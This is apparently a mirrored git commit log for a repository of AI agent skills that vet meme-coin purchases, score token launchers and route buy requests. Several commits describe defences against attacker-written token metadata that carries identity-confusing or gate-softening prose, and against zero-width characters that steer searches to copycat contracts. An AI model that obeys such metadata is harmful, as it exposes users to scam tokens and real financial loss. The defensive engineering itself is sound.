mirror of
https://github.com/GMGNAI/gmgn-skills.git
synced 2026-11-02 07:46:11 +00:00
c9748da7c834a04eff49571fc5617cf4f23ec704
367
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
c9748da7c8 |
Merge pull request #217 from Edwardchennnn/feat/token-buy-skill
feat(skills): gmgn-token-buy — buy-side due diligence from a token name, plus the market search command it needs |
||
|
|
949ecff138 |
gmgn-token-buy: 按 dev-score 模版整形,并补上实盘跑出来的四个缺口
结构对齐 skills/gmgn-dev-score/SKILL.md 的骨架,流程对齐 DefiLlama token-research 的 step 形状: - 去掉 H1 与 `## 适用与边界`(后者三段散文与 description 逐字重复), 边界改成 `## Run` 里一张四行表。 - `## 流程` → `## Workflow`,`### 第 N 步 · X` → `### Step N — X`, 每步只留「跑什么 / 关键字段 / 出口」加几条短要点,长散文移进 references。 - `## 订单卡必须说到的东西` → `## What the answer has to contain`。 - 删掉 `### 任一闸门未通过时`(Display Templates 与 Rules 已覆盖)。 - 新增 `references/resolution.md`:Step 1 的消歧判据全文。 - description 修掉一处 he/his 指代,并补上模版要求的收尾一句 「边界按「这个请求还差什么没做」划分」。 100u 买 MEME 的实盘演练暴露四个缺口,一并补上(`references/thresholds.md`): 1. 新增第三道闸「方向与波动」。实测 robinhood 上的 MEME 24h 成交 $63.14M、1h 32,446 笔,四道闸里的量闸全过,而它 5 分钟内从 $0.1107 跌到 $0.0924(−16.5%),且 1m/5m/1h/24h 四个窗口卖出额 全部大于买入额。量的大小和量的方向是两件事,原来只判前者。 2. 警告项从 6 条补到 10 条,加上响应里本来就有、却没被任何清单读到的 `top_entrapment_trader_percentage`(实测 55.57%)、 `top_bot_degen_percentage`(76.78%)、 `wallet_tags_stat.bundler_wallets / holder_count`(8.5%)、 `stat.fresh_wallet_rate`。补之前这个币只命中 1 项警告、过了安全闸, 补之后命中 4 项、正确判不通过。 3. 滑点公式加波动项 `+ |5 分钟涨跌幅| × 0.5`。原公式只吃池深和税率, 给这个币算出 2.0%,而它 5 分钟动了 16.5%,市价单必然失败。 4. EVM 的 gas 用量按 `pool.exchange` 给默认值(v2 150K / v3 180K / v4 200K / 未知 200K),并要求在卡里标明是估算——它是订单卡里唯一 一个不来自任何字段的数,不给默认值就只能靠模型自己编。 另外记下两条实测字段语义:`price_5m` 是 5 分钟前的起点价而不是涨跌幅; `lock_summary` 会自相矛盾(`is_locked=true` + `lock_percent="0"` + `lock_detail[0]` 95% 打进黑洞),判定顺序以 `lock_detail` 为准。 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
20baf982d6 |
fix(token-buy): hand a launcher question to gmgn-dev-score
gmgn-dev-score landed upstream 18 minutes after this branch's last commit,
so its buy-intent phrases were never reconciled with this skill's. Both
claim a buy decision; the subject differs. This skill's subject is a COIN
("PENGU 能不能买"), dev-score's is the PERSON who launched it ("这个 dev 的
新盘能不能买", "should I buy his next launch"). A launcher question carries no
token name to resolve and no amount to size, which is everything this skill
does, so it goes to dev-score and comes back here once the user names the
coin.
Adds that clause to the description and one 与 gmgn-dev-score 的分工 line to
the boundaries section. Description 1990 -> 2299 chars (dev-score's own is
2300). Nothing else changed.
|
||
|
|
7d38be6dce |
refactor(token-buy): make the four-step workflow scannable
Borrows the workflow layout from DefiLlama's token-research skill (DefiLlama/defillama-skills, token-research/SKILL.md): every step states the command to run right at the step, then the fields it reads, then its exit condition — instead of listing all four commands up top and describing them in prose further down. - `## Run` opens with a four-row overview table (step / what it does / what it runs / its exit), so the whole gated flow is visible at a glance, and states the invariant the old text left implicit: each step IS a gate, and a step that does not pass never reaches the next one - each `### 第 N 步` now leads with **跑什么** (a fenced command), **关键字段** (what to read, pointing at references/fields.md), **出口** (continue on what, stop on what) before the reasoning prose - step headings name the action: 名字解析成唯一合约 / 三道硬性筛选(量 / 深度 / 安全)/ 组装订单卡并请求确认; 筛选未通过时 → 任一闸门未通过时 - drops the lead sentences the command blocks made redundant, and the restatement of the 7-chain boundary inside step 0 No threshold, field or routing boundary changed. |
||
|
|
30217f4dc4 |
refactor(token-buy): reshape to the gmgn-dev-score skill template
The skill was one 369-line file with the command reference, the field mappings and the whole threshold table inlined as two appendices, and no fixed shape for the order card. gmgn-dev-score is the template every skill in this repo follows, so adopt its skeleton: - description becomes a `>-` block scalar (same content, now readable) - add the three preamble notices every other skill has and this one was missing: `config --check`, only ever `gmgn-cli` (no web search / WebFetch / curl / gmgn.ai), and IPv6 is unsupported - `## Run` — the four read commands, the fixed 4-request budget, the 7-chain boundary, and the fact that the CLI only returns numbers: the report is written by the model, in the user's language - `## 订单卡必须说到的东西` — a checklist of what must be *said*, each item naming the field it reads - `## Display Templates` — the order card's shape is now fixed (8 sections, when each may be omitted) with the wording left free, replacing the old space-padded ASCII block with emoji ticks. Same formatting rules as dev-score: plain ascii dollar sign, one decimal on percentages, no emoji, no column padding, bold only where named - `## Rules` — the three hard rules plus the three that follow from the 7-chain boundary, the hostile-metadata rules, and the report-is-the-whole- answer / never-state-a-number-the-fields-do-not-carry rules - `## References` — appendix A moves to references/fields.md, appendix B to references/thresholds.md, and 常见错误 to references/pitfalls.md No threshold, field mapping or routing boundary changed value; SKILL.md goes from 369 to 258 lines with the moved text intact in the three reference files. |
||
|
|
a0ba4c6a2d |
fix(token-buy): frame gmgn-swap as this skill's exit, not its rival
gmgn-swap's own description says "Use when user asks to buy, sell, or swap a token" with no qualifier, and carries a [FINANCIAL EXECUTION] label. This skill answered that by asserting a plain buy request "is MINE by default", which is a claim about precedence and gives a reader nothing to check. Replace the assertion with the two facts that actually decide it. First, the two skills are not after the same outcome: gmgn-swap signs and submits, this skill holds no private key and places no order, so a vetted buy ends AT gmgn-swap by design. Second, gmgn-swap cannot start from a name either — its --output-token takes a contract address and the only names it resolves are the SOL/BNB/ETH/USDC currencies — so a request naming a token has to arrive here whichever skill is asked first. Then name what genuinely belongs to gmgn-swap instead of gesturing at it: an explicit skip of the pre-buy check, and everything this skill does not do at all — selling, percentage sells, limit orders, stop loss, take profit, trailing orders, multi-wallet batch trading, order status, gas-price lookups. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
79b8aa471e |
fix(token-buy): hand a bare address with no amount to gmgn-contract-dd
The description claimed gmgn-contract-dd "only look[s] up an address and return[s] no verdict", which is false — it returns a 0-100 composite capped by GMGN's own rug label — and it contradicted this skill's own body, which already calls that skill for the safety verdict and defers to it on disagreement. It also claimed the bare phrase 能不能买, which gmgn-contract-dd claims verbatim in its own description and its neighbouring-skills table. Both skills can serve a bare address, so the phrase alone cannot route. Split the trigger by whether a buy is being prepared instead: a NAME or symbol to resolve, or an AMOUNT to size, is this skill — neither of which gmgn-contract-dd can accept, since it has no search step and no amount parameter. A bare address with neither is a verdict ask, and taking it would hand the user an order card he never asked for. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
33e7e62836 |
fix(skills): defer the safety verdict to gmgn-contract-dd, and refuse to
guess a contract when `market search` is unavailable Two changes, both driven by running the skill for real rather than only measuring routing. 1. The safety verdict now names `gmgn-contract-dd` as the owner. This skill and `gmgn-contract-dd` were computing two parallel safety verdicts on the same contract. Step 2 now states that once step 1 has resolved the one right contract, the 0-100 composite is `gmgn-contract-dd`'s job — its deductions are finer and each one names the field it read — and that its score and red flags are taken as this step's result, with its verdict winning any disagreement. The local gates are kept as an explicitly-labelled fallback rather than deleted, because a live run shows the hand-off does not fire: two real queries, Bash restricted to `gmgn-cli`, and `gmgn-contract-dd` was invoked in neither. That matches the earlier arm-Z result (a hand-off written into a skill body, 20 cases, 0 invocations). So the fallback is the path that actually executes today; deleting the local gates would have removed the safety verdict without connecting the replacement. The fallback thresholds are unchanged, and the order card must say the verdict was computed locally without `gmgn-contract-dd` review. 2. A hard stop when `gmgn-cli market search` is missing. The released CLI has no `market search` — that command is added by this PR's `aa0e7fd`. On a machine with the released CLI the live run showed the model improvise: `market search` failed, and it moved on to `market hot-searches --limit 500`, `market trending`, `market trenches` to find the token by name. Those are popularity and gain rankings, not a name index, so resolving a name through them lands on whatever is being pumped — which is exactly the copycat this skill exists to rule out. Step 1 now stops on `unknown command 'search'`, names the three commands that must not be substituted, and tells the user to upgrade the CLI or supply the address directly. Routing unchanged by all of the above: 16/16 on the 16 plain-buy cases (11/11 recall, 100% precision) and 18/20 on the 20 due-diligence cases (8/10 recall, 0 false positives), measured on the real installed state. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
c3d0035f90 |
docs(skills): state the name-resolution exclusivity in the description
The description implied exclusivity by describing what the siblings cannot do; it never said it directly, so the router had to compose two clauses to reach it. States it in the first sentence instead. Measured neutral, not an improvement: on the real installed state (12 skills + the routing table) the arm with this clause scores exactly what the arm without it scores — 16/16 on the 16 plain-buy cases (11/11 recall, 100% precision) and 17/20 on the 20 due-diligence cases (7/7 on the runnable positives, 0 false positives). Kept for the reader, not for the router. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
91349504e0 |
fix(routing): make a plain buy request default to gmgn-token-buy
Measured on the novice phrasing the skill actually targets — a plain
"我想买 200u 的 PENGU" with no due-diligence and no skip-the-checks
wording. Four arms, 16 cases (11 positives / 5 negatives), one live
`claude -p` session per case:
arm recall precision score
user's machine today (no CLAUDE.md) 3/11 27% 100% 8/16
+ the 11-line routing table 8/11 73% 100% 13/16
repo skills + the 11-line table 11/11 100% 92% 15/16
+ these 5 lines 11/11 100% 100% 16/16
Three changes:
- CLAUDE.md: the `gmgn-swap` registry row claimed `"buy this token"`
unconditionally. The earlier fix only narrowed the quick-route table,
not the registry, so a plain buy request still had a competing claim.
- CLAUDE.md: one quick-route row making `gmgn-token-buy` the explicit
DEFAULT for any plain buy request. The failure mode being fixed is
silence, not theft — every miss in the 8/11 arm was "no skill fired".
- SKILL.md description: lead with the plain phrasings, and state that a
plain buy request is this skill's by default rather than framing the
boundary defensively around what it hands to gmgn-swap.
Also adds a hard boundary for sells, limit orders and order-status
queries, which fixes the one false positive in the 15/16 arm
("帮我挂个 BONK 的限价单" bounced from gmgn-swap into this skill).
Negatives hold in every arm: "直接买 200u 的 BONK,不用检查了" routes to
gmgn-swap, never here — an explicit skip-the-checks instruction must not
be intercepted.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
|
04dadf6fa9 |
fix(routing): register the 5 unregistered skills and split the buy-intent route
The routing table listed only 7 of the repo's 12 skills. gmgn-contract-dd,
gmgn-cooking, gmgn-holder-analysis, gmgn-wallet-analysis and gmgn-token-buy
were absent, so an unregistered skill effectively did not exist to the router.
Three routes also sent buy-side asks somewhere that cannot answer them:
- "is this token safe" / "check this token" went to gmgn-token, which
returns raw fields and no verdict. Split into three rows: a token name or
symbol with buy intent goes to gmgn-token-buy (the only skill that
resolves a name to the one right contract and sizes the order); a bare
address wanting a score goes to gmgn-contract-dd; raw fields for an
address already in hand stay with gmgn-token.
- "buy TOKEN" went straight to gmgn-swap, bypassing due diligence. Narrowed
to the skip-the-checks case; a plain "buy TOKEN" is gmgn-token-buy.
Measured on a 20-case routing eval (10 positives) with `claude -p`, first
Skill call recorded, 12 skills installed:
routing table unchanged recall 1/10 and 3/10 over two runs
routing table with this change recall 7/10, reproduced exactly twice
Precision stayed 100% with zero false positives in every run. The 3 remaining
misses are eval cases with no token name, a placeholder address, and an
unsupported chain — none of them resolvable by routing.
Description-level fixes were tried first and measured dead: narrowing
gmgn-token's description, adding a runtime hand-off to gmgn-token's body, and
rewriting gmgn-token-buy's own description each scored 0/10.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
|
5a221cb259 |
feat(skills): add gmgn-token-buy — buy-side due diligence from a name
Covers the request shape no existing skill can serve: the user names a
token and wants to know whether to buy it, and for how much. Every other
token skill takes a contract address as input, so none of them can start
from "搜一下 PENGU 能不能买" or "帮我买 200u 的 XX".
The skill resolves the name to the one correct contract among its
copycats, runs three hard gates (24h volume / pool depth / security
audit), sizes slippage and gas for the stated amount, and emits an order
card. It never holds a private key and never submits a transaction: after
the user confirms in-conversation, the parameters go to gmgn-swap. That
confirmation is required even when the user has said "don't ask, just
buy" — it is a real spend of real funds.
All data access goes through gmgn-cli, so the skill reads, stores and
transmits no credentials, and it inherits the output sanitiser that
src/sanitize.ts applies in printResult. What the sanitiser does not cover
— identity confusion and gate-softening prose in attacker-written token
metadata — the skill handles in its own section: metadata is data and
never an instruction, a "sanitized N field(s)" notice is itself a risk
signal that belongs in the order card, an official-looking name never
skips contract locking, and a contract address is only ever read from the
address field, never from prose.
Verifying the rules against the live API corrected five of them, each of
which would have misjudged a blue chip:
- pool.base_reserve_value can be "0" on a fully liquid token (BONK's
meteora_dlmm pool reports base "0" while holding 14.7B tokens), so
min(base, quote) scored a 996k-holder token at $0 depth. The gate now
falls back to pool.liquidity / 2.
- pool.liquidity is twice ONE side and which side is unpredictable:
PEPE/SHIB/BONK/PENGU/BRETT are 2 x quote, CAKE is 2 x base.
- pool is not necessarily the deepest pool — BONK's
biggest_pool_address differs from pool.pool_address — so depth is a
lower bound, and volume far above depth means "there are other
pools", not wash trading.
- creation_timestamp and created_at can be 0 (real BONK returns 0 for
both), which naive arithmetic turns into 56 years of history. Zero
means unknown; skip the age bonus instead of crediting it.
- Solana's *_prio_fee is a placeholder 1 while BSC's is legitimately 0,
and a tier is not reconstructible from suggest_base_fee + prio (BSC
high is 561M wei against a 120M base fee). The tier field itself is
the authoritative all-in price; only *_prio_fee_mixed is real.
Routing was measured with all 12 skills installed: precision is 100% (no
false trigger in 10 negatives), but recall is low and two full
description rewrites moved it only within run-to-run noise. The
attribution is stable — gmgn-token takes 4-5 of the misses every run,
because its own description ends with "or wants due diligence before
buying", which is this skill's whole job stated in 429 characters. That
overlap is structural rather than cosmetic and gmgn-token is deliberately
left untouched here; see the PR description.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
|
0f48a31a9d |
docs: register the skills the tables were missing, and gmgn-token-buy
The two Readme tables and the marketplace description had drifted behind the repo: both tables listed 8 skills and the marketplace blurb said "9 GMGN skills", while skills/ actually shipped 11. gmgn-contract-dd, gmgn-holder-analysis and gmgn-wallet-analysis were installed but undiscoverable from the docs. Rather than bump a stale count by one, complete both tables and the blurb to the full set, including the gmgn-token-buy skill added in this branch. Each new row is placed next to the skill it reads like, so the tables still group by subject: contract-dd and holder-analysis after gmgn-token, wallet-analysis after gmgn-portfolio, and token-buy immediately before gmgn-swap, which is what it hands its order card to. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
016535ffcf |
feat(market): implement the documented market search command
`skills/gmgn-market/SKILL.md` has documented `market search` in full — the
capability table, the rate-limit table, parameters, response fields and usage
examples — but no implementation ever landed: `/v1/market/search` appears
nowhere in `src/`, and `gmgn-cli market --help` does not list the command. Any
agent following the skill doc hits a hard failure.
This adds the command behind the documented contract:
- `-q, --query` (required), `--chain`, `--launchpad-platform` (repeatable,
max 50), `--is-og`, `--is-launched`, `--order-by weight`, `--raw`.
- `--chain` is shape-checked rather than matched against the 7-chain core
allowlist, because search accepts any chain the platform has enabled
(tron / monad / megaeth / xlayer / hyperevm) and a stale local list would
reject valid searches.
- `--query` is stripped of C0/C1 control, zero-width and bidi-override
characters before the documented 1-100 length check, and the cleaned string
is what gets sent. Length is counted in code points so emoji tickers are not
over-counted. Without this, `pe<ZWSP>pe` is a different search term than
`pepe` and can be used to point a caller at a copycat contract.
One upstream deviation is worth calling out: the endpoint does not understand
`chain=all`. It answers with `{"coins":[],"wallets":[]}` rather than an error,
which an agent reads as "no such token" — strictly worse than failing. Since
the skill doc promises `all` works, the CLI accepts that spelling and searches
all chains by omitting the filter, warning on stderr so the substitution is
visible. This follows the existing `parseDuration` precedent of correcting a
known-ambiguous input loudly instead of rejecting it.
Verified against the live API: `-q pepe --chain eth` returns fields identical
to `token info` for the same token (`liquidity`, `volume_24h`, `swaps_1h/24h`,
`holder_count` all byte-for-byte equal), bare-contract-address lookup resolves
the chain in one call, and an address on an unsupported chain returns an empty
result set.
|
||
|
|
2eaf2b9d50 |
Merge pull request #218 from Edwardchennnn/feat/dev-score-upstream
feat(dev-score): score a launcher on CONDUCT and POWER, and say when to buy |
||
|
|
9b90a3eaea |
docs(dev-score): fix the report's shape with a Display Templates section
Removing the script's layout engine also removed the only thing keeping the report a stable shape. Two runs of the same JSON came out with different heading levels, different table/bullet choices and bold on nearly every clause, and one leaked the fullwidth dollar sign — a convention that exists only to protect this file's own text from positional-argument substitution — into user-facing output. Display Templates fixes the shape without fixing the wording: nine sections in a fixed order, each with its block type (which sections are tables, which are prose), sections 1-5 and 9 always present, 6-8 conditional on their data being there, no reordering, no merging, no tenth section. Plus the formatting rules that were being decided per run: plain ascii dollar sign with thousands separators, one decimal on percentages, no emoji, no box drawing, no column padding, and bold restricted to the verdict number, the band, and the four labels of the action section. Section names are given in English so they are translated into the user's language rather than printed as-is, so the file stays English-only. The content checklist above it said "order, headings and phrasing are yours", which now contradicts this section: it is reworded to own what must be *said* while Display Templates owns *where it goes*, and its bullets are reordered to match the section order. This is an instructional constraint, not a mechanical one — the script prints no report, so nothing enforces the shape at runtime. That is the intended trade of keeping output format out of the calculation code. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
9b6e7023da |
refactor(dev-score): split the skill into a slim SKILL.md, a calc script and references
SKILL.md was a single 1,854-line file carrying the routing, the whole 1,432-line inline Python, the scoring rationale and a 78-column layout engine with 142 hardcoded zh/en string pairs. All of it loaded into context on every invocation. Now: - SKILL.md (95 lines) — routing, how to run, and what the answer must contain as a checklist, not a template. Pure English: the trigger phrases no longer name a language, and the model translates the concepts itself. - dev_score.py — fetch and calculation only. Emits one JSON object on stdout and nothing else; progress notes go to stderr. The layout engine and every zh/en string pair are gone, so the output format is not fixed by the script. - references/scoring.md — the model: gates, severity, the thin-record shrink, tiers, caps, verdict bands, and why each is shaped that way. - references/fields.md — every JSON key emitted, every confirmed API field, the chain probe, rate limits, and the data caveats. - references/glossary.md — only the trader slang that has no literal English equivalent, plus the tier and band renderings. Scoring is unchanged. Verified old vs new across 8 mock scenarios (empty index, empty-but-trading, factory, implausible peak, bot-scale, hostile input, both factory-gate boundaries, LP drain): identical totals, conduct, power, tiers and term breakdowns, and matching not-scored reasons. Prose exits became reason codes (index_empty / not_a_person / peak_implausible / never_launched) and the flagship note became a status code. safe() is kept as input sanitisation, now also applied to token addresses and to severity_by_token keys, so an attacker-chosen symbol still cannot forge a line. Truncate first, sanitise second — slicing a sanitised value strips its fence. Per-invocation context drops from 151,566 to 9,652 bytes; references are read on demand. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
f03d44ea44 |
docs(gmgn-dev-score): name every concept in English, map the zh report labels
The file's prose, headings and script comments carried Chinese concept names (信誉 / 实力 / 综合 / 割率 / 狠度 / 抽水倍数 / 代表作 …), which made the rules readable only to a Chinese reader even though the routing and the English report are fully supported. Every concept is now named in English, taken from the script's own `_(zh, en)` pairs so the document and the report agree: CONDUCT / POWER / TOTAL, dump / open-dump / dump rate, severity, pull multiple, 1st sell, the curve, flagship, walk-away & CTO rate, self-snipe rate, book quality, unaccounted exit, untradeable rate, and the five tiers systematic / frequent / occasional / unproven / measured clean. Report lines quoted as evidence inside comments are translated with them, so a comment explaining a past defect no longer requires reading the Chinese output to follow. Adds a `### Terms` section: English concept, the exact zh wording the report prints, and a one-line definition — 17 concepts, the 5 tiers, and the 9 section headers. Terms that translate one-to-one (peak, drawdown, survival rate, graduation rate, holders, market cap) are stated to be English-only and are deliberately not listed, so the table stays short enough to read. Also fixes three pass artifacts it uncovered: `flagshipdumped coins` in two gate-table rows and one comment, and the doubled `dump (dump)` / `severity (severity)` labels. What is deliberately still Chinese: the frontmatter trigger phrases and the routing-table phrasings (they are the literal user input the router matches — translating them breaks Chinese routing), the `_()` zh strings that ARE the Chinese report, the CJK punctuation the line-breaker demonstrates in its own comments, and the zh half of the new glossary. The routing boundary lines now lead in English with the Chinese phrasing in parentheses. Verified: description folds with no space injected inside a Chinese phrase and all 41 trigger phrases intact (22 zh / 19 en); script compiles in both languages; 8 mock scenarios x 2 languages all rc=0, width <= 78, brackets balanced, no CJK outside 「」 in English output; no ascii dollar-before-digit. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
fbf533fc9f |
fix(gmgn-dev-score): English-context correctness and bracket balance
Four defects found while checking whether the skill routes correctly for a question asked in English or another language. Routing itself was fine -- the description's spine, reasoning and DO-NOT-USE logic are English, and 信誉/实力 carry inline English glosses -- but: - Four hardcoded strings leaked 信誉/综合/抽水 into the English report while its header reads TOTAL/CONDUCT/POWER. Now CONDUCT/TOTAL/pull. - LANG had no selection rule, only the comment "'zh' or 'en'", with 'zh' listed first. State it explicitly: LANG follows the language the user asked in, not the chain and not the model's default. The report is the whole deliverable, so handing an English trader a Chinese one makes it unreadable. - Trigger phrases were lopsided: 22 zh vs 5 en positive, and every one of the 9 DO-NOT-USE phrases was Chinese. The real English-context risk is over-triggering on copy-trade and profitability questions that belong to gmgn-wallet-score, and nothing guarded against it. Now 41 phrases, 19 English, 10 of them on the negative side, plus a note on the "how is this dev's reputation" (profile) vs "dev score" (decision) boundary. Also folds a pre-existing Chinese phrase that YAML's >- had split across lines, inserting a space inside it. - Language-independent: `to = safe(addr, 64)` printed as `m['to'][:8]` sliced off the closing 」 that safe() adds, so an attacker-supplied to_address rendered as 「判为割 100… with no visible end and the report's own words appeared to continue inside the quoted name -- exactly the confusion the quoting exists to prevent. Truncate first, sanitise second, via a separate to_disp; `to` stays full so the fund_from_address comparison still matches. Real addresses display unchanged; a hostile value shows as ?. Verified: script compiles under both languages; 6 mock scenarios x 2 languages all rc=0 with width <=78 and balanced brackets (hostile 4/4); zero CJK in English output; description folds with no space inserted inside any Chinese phrase; no ascii dollar-sign-before-digit hazards. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
9b20187d74 |
feat(dev-score): score a launcher on 信誉 and 实力, and say when to buy
Adds gmgn-dev-score, a risk gate you consult before buying a launch, as a single self-contained SKILL.md. The skill answers one question — 我要不要买他下一个盘 — and keeps two things apart that must never cancel each other out: 信誉 (will he dump on you, built only from what he did with his own hands in his own coins) and 实力 (has he ever built anything, built only from what the market did with those coins). They combine asymmetrically: 综合 = 信誉 + a bonus 实力 can earn, and the 割率 gate caps 综合 before the bonus lands, so a big coin can never buy a dumper a passing score. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
7a87b8f09d | 1.6.0 v1.6.0 | ||
|
|
041a5a3ca9 |
Merge pull request #216 from dylanzhong662-max/fix/close-dispatcher-on-cli-error
fix(cli): close HTTP dispatcher before exiting on errors |
||
|
|
25f3452722 | fix(cli): close HTTP dispatcher before exiting on errors | ||
|
|
267ff6ba86 |
feat(wallet-analysis): rebuild the dossier around what a copier actually decides (#215)
The skill printed accurate numbers a reader could not act on. This reworks what it says and when, and fixes the defects found running it against ten live wallets and thirteen fixtures. ## The report Two layers. A decision card a newcomer can stop reading after, then the evidence behind every claim on it. `--brief` prints the card alone. The card is withheld entirely when a gate went unmeasured, because it has nowhere to show a ⚪ and one with a tick missing reads as a complete verdict. The card opens with one narrative sentence -- how long, by what method, for how much -- then the 7-day window as a backtest that proves the trader, then the verdict. It used to open "if you had followed it with $1,000 seven days ago", a completed counterfactual that reads as an opportunity already missed. A caliber grade leads the H1 so a reader can rank the trader on sight. It is computed from the track record only; reachability is a separate question, and merging the two is what produces a copy score that contradicts its own labels. A verdict that says you cannot get its fills no longer prints HOW TO FOLLOW. The size cap and copy window stay, reframed as the bar that rules the reader out rather than instructions for doing what the verdict forbids. Follow-ups are three questions, one target each, pinned on a trigger phrase from the skill that answers them. No skill names. English is the default; pass `zh` for Chinese. The translation table moved into analyze.py, so the skill is SKILL.md and analyze.py -- lang/zh.json is deleted. ## Correctness - No third-party label vetoes on its own. `wash_trader` is checked against the profit attribution, `is_honeypot` against the position's own sell count. Both false-positived on one real wallet and together produced a 🔴 on $459K of genuine realized profit. The corroboration is silent: the report states the measurement and never names the label. - Nine derived ratios gained sample guards. A top-3 share over three winners is 100% by arithmetic, and it drove both a card line and the engine label. - Concentration over nine open positions no longer vetoes a 103-token record. - Positions-in-profit and realized win rate are labelled separately; they count different things and were sharing one parenthetical. - An unmeasured gate is never rendered as a pass, nor masked by another gate's failure. - Remedies name their actual cause: a rejected signature is not a missing key, a rate limit is not an auth problem, and a wallet that barely trades cannot be fixed by configuration. - The verdict prints for anonymous wallets, which it had silently stopped doing. - Call order puts the gate-critical set inside one rate-limit bucket, so the verdict is decidable before `activity` is requested. ## Verification Ten live BSC wallets and thirteen deterministic fixtures with snapshots in both languages, asserting that every dossier prints a verdict, that no English output contains CJK, and that the markdown is structurally sound. The net lives in git history rather than the tree; SKILL.md carries the commands that restore it. Branched from current main, so gmgn-contract-dd and every other skill are untouched. Co-authored-by: chenjunfeng <chenjunfeng@gmgn.ai> Co-authored-by: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
7331bfc375 |
Merge pull request #210 from Edwardchennnn/feat/contract-dd-skill
feat(contract-dd): add contract due-diligence scoring skill |
||
|
|
c4d612d2b3 |
docs(contract-dd): fold the routing split into this file and drop the CLAUDE.md PR
#213 fixed the collision by editing CLAUDE.md's Quick Decision Guide. Keeping the library consistent matters more than closing that collision from outside: no other skill in skills/ reaches into a project doc, and this skill should not be the first. So the split now lives where the rest of the repo puts it — in the skill file — and #213 is closed rather than merged. The existing hand-off table only covered the outbound direction (user wants the explanation, not the verdict). It now covers the inbound direction too, which is where the collision actually was: - **One number vs the raw fields.** "check this token", "research this token", "what's the liquidity", "who holds this" are gmgn-token; 打个分, 尽调, 这个币安全吗, 能不能买, rug check, score this contract are this skill. The description already competes at selection time; this states the same boundary for a reader who has already loaded the file. - **A bare address with no question** is a verdict ask: score here, offer the fields after. Step 0 still resolves token vs wallet first, and the wallet branch now names gmgn-portfolio alongside gmgn-wallet-analysis, since raw holdings / P&L / activity are the portfolio skill's, not the dossier's. Still one file, still no changes outside skills/gmgn-contract-dd/. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
d5987fb226 |
docs(contract-dd): contest the phrases CLAUDE.md routes elsewhere, from inside the description
Routing happens before a skill's body is ever read, so nothing in this file can
override CLAUDE.md's row sending "is this token safe" and any bare token address
to gmgn-token. The description is the only surface that competes at selection
time, so it now does more of the work.
Three changes, all inside the existing 1024-char budget (907 after, 970 before):
- **Added the English trigger `is this token safe`.** The description carried the
Chinese 这个币安全吗 but not its English twin, which is the exact phrase the
routing table hands to gmgn-token.
- **Added an explicit priority hint** — "prefer this over gmgn-token whenever the
ask is a verdict rather than a field dump" — following the pattern
gmgn-wallet-analysis already uses to disambiguate itself.
- **Named the rug-label cap**, which the description predated and never mentioned
even though Step 5B is now what stops a labelled rug reading as clean.
Compressed the internals wording ("the three exceptions where absence does move
the number are named explicitly") to pay for it — that sentence describes
mechanics a router does not select on.
This narrows the collision; it does not close it. CLAUDE.md's row is project
guidance and still names gmgn-token for the same input, which is what #213 fixes.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
|
||
|
|
f23cb57752 |
fix(contract-dd): a listing row without a rug_ratio key is not rug_ratio 0
Found by running the demo against a bsc token: Step 5B reported `rug_ratio 0.000 via trenches/completed → no cap`, and the field was not in the row at all. Measured over 840 listing rows on 2026-08-28: **`rug_ratio` is absent from the row entirely on 323 of them**, and which rows lack it is chain-dependent — 176 of 180 bsc trenches rows and 147 of 180 base trenches rows carry no such key, while sol trenches and all three trending listings always do. Reading a missing key as 0.0 reports "measured clean" for a label that was never supplied, on the majority of bsc and base launches. That is this skill's own headline failure mode, committed inside the step added to catch it. The step now stops at the first row that actually carries `rug_ratio` rather than the first row that matches the address, so a bare trenches row falls through to trending. Measured recovery on bsc: of the 176 trenches rows missing the key, 26 are also in trending and get their label there; the remaining 150 end genuinely unavailable. "Listed but no row carried the key" and "not listed at all" are different facts, so Step 8 must print which one it was, and neither may be written as `rug_ratio 0`. The age is still taken from the first matching row whether or not that row carried the label — `created_timestamp` was never absent in the sample. Both filter pipelines now print `rug_ratio=ABSENT` instead of an empty-looking `None`, and the fall-through condition covers it. Verified end to end on a bsc token whose trenches row lacks the key: `trenches/completed rug_ratio=ABSENT age=0.6h` then `trending rug_ratio=0 age=0.6h`. Invariant sweep: 14/14 pass. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> |
||
|
|
7f9acf56d3 |
fix(contract-dd): remove a stranded paragraph that revoked an active scoring row, and correct the self-check totals
Both defects came from review feedback and both are mine — incomplete patches whose verification checked the strings I knew I had changed instead of checking the invariants. **A paragraph told the implementer not to apply a deduction the table applies.** When `vol_ratio < 0.20` was promoted to a scored row, the replacement only covered the first paragraph of the old reported-not-scored argument. The second paragraph survived and still read "compute `vol_ratio` … and **do not deduct on it**", plus "**That test has not been run**" — describing the rate-limit interruption that the completed three-batch lift test had already superseded four commits earlier. An implementer copying the scoring table would have shipped the −18; one reading the prose would have skipped it. Deleted, and the row is now stated as ACTIVE at that spot. Acting on the reviewer's wider point rather than just the instance: a note under the Step 5 table now says every row in every scoring table is active and this skill has no candidate, disabled or "pending" rules anywhere — a rule that failed measurement was deleted outright rather than parked, which is what happened to `sell_volume_24h / buy_volume_24h` and to `vol_ratio`'s own 0.20–0.40 tier. The tables are safe to implement on their own. **The coverage self-check named the wrong totals.** It said "does not equal 22 or 24" while the inventory it checks is 23 on `sol` and 25 on the EVM chains — the numbers were updated in the "Inventory total" sentence when the price section gained `vol_ratio` and missed four lines below. Since executed + skipped + held-out always sums to the inventory total by construction, the check would have mis-fired on every correct 